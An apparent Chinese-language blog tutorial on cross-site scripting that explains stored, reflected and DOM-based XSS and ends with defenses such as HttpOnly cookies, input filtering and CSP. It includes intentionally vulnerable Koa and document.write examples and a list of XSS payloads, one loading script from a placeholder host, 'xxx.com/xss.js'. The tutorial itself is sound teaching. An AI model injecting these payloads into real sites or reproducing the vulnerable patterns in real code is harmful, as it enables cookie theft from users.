美文网首页
xss 攻击

xss 攻击

作者: 申_9a33 | 来源:发表于2022-03-24 16:43 被阅读0次

概述

  • 名称: Cross Site Scripting (跨站点脚本工具)
  • 含义: 一些站点,用户访问时。在页面渲染的过程中,存在未预知的脚本命令执行.xss 攻击涉及三方,攻击者,用户,和web服务;攻击者会通过各种方式,在用户通过浏览器访问页面时插入自己的脚本;页面一但加载,通过插入的脚本,获取到用户信息和Cookie,上传到第三方网站。从而达到恶意攻击用户的行为

xss 攻击分类

存储型

  • 这个攻击的典型案例就是留言板。通过留言板输入一些恶意的脚本 <script>alert(document.cookie)</script> , <script src=http://xxx.com/xss.js></script> , 这些恶意脚本,没经过过滤而储存在服务器。当用户访问留言板时,这些脚本会运行,从而导致自己信息被泄露
  • 流程: 前端-->后端-->数据库-->后端-->前端

反射型

  • 非持久化,需要用户去点击链接才能触发xss代码,反射型XSS大多数是用来盗取用户的Cookie信息。
  • 流程: 前端-->后端-->前端

我们使用node服务,模拟用户购物场景举例,

  • 服务端代码
const Koa = require('koa');
const app = new Koa();

app.use(async ctx => {
  ctx.body = ctx.query.name + `在购物`;
});

app.listen(3000);

  • 正常访问


    image.png

  • 被攻击时


    image.png

DOM型

  • 示例前端代码
  • 流程:只发生在前端
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
</body>
<script>
    function getUrlParamsByName(name) {
        let reg = new RegExp(`(?<=\\b${name}=)[^&]*`),
        str = location.search || '',
        target = str.match(reg);
        
        if(target) {
            return decodeURIComponent(target[0])
        }
    
        return;
    }

    document.write(getUrlParamsByName('name'))
</script>
</html>
image.png

总结

可能触发xss的属性

document.referer
window.name
location
innerHTML
documen.write

可能触发xss的标签

// script
<script>alert(document.cookie)</script>  
<script src=http://xxx.com/xss.js></script>

// svg 
<svg onload="alert(1)">

// img 
<img  src=1  οnerrοr=alert(document.cookie)> 

// body
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

// video 
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

// style
<style οnlοad=alert(1)></style>

防御

  • 服务端设置会话Cookie的HTTP Only属性
  • 对用户输入的数据进行过滤
    • 白名单过滤,对于名称等字段,限制长度,限制只能输入数字,字母
    • 黑名单过滤, 对于<,>,(,),&",',/等危险字段进行处理
  • 设置CSP(Content Security Policy)

相关文章

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • 常见的WEB攻击

    XSS攻击,CSRF攻击,SQL注入攻击,文件上传漏洞,DDoS攻击,其他攻击手段 1.XSS攻击 XSS(Cro...

  • 前端攻击和防御(一)XSS跨站脚本攻击

    (一)XSS跨站脚本攻击 参考:XSS站脚本攻击 (1)XSS简介 XSS攻击全称跨站脚本攻击(Cross Sit...

  • Web安全

    XSS攻击 一、什么是XSS攻击 XSS攻击又称CSS,全称Cross Site Script (跨站脚本攻击)...

  • 2021-05-30 前端常见的攻击方式有哪些?如果解决?安全措

    XSS 攻击 什么是 XSS 攻击 XSS 即 Cross Site Scripting(跨站脚本攻击),指的是攻...

  • 前端防范xss攻击的实用方案

    一、xss攻击原理 大家想必都听过xss攻击,那么这个xss到底是如何攻击、我们又应该如何防范的呢? xss攻击主...

  • 开发安全问题

    1.XSS攻击 1.1什么是XSS攻击手段 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表...

  • XSS攻击

    XSS攻击定义 XSS Cross Site Scripting 跨站脚本攻击 XSS攻击原理 它允许恶意web用...

  • XSS CSRF

    XSS攻击 什么是XSS攻击 XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中...

网友评论

      本文标题:xss 攻击

      本文链接:https://www.haomeiwen.com/subject/brokjrtx.html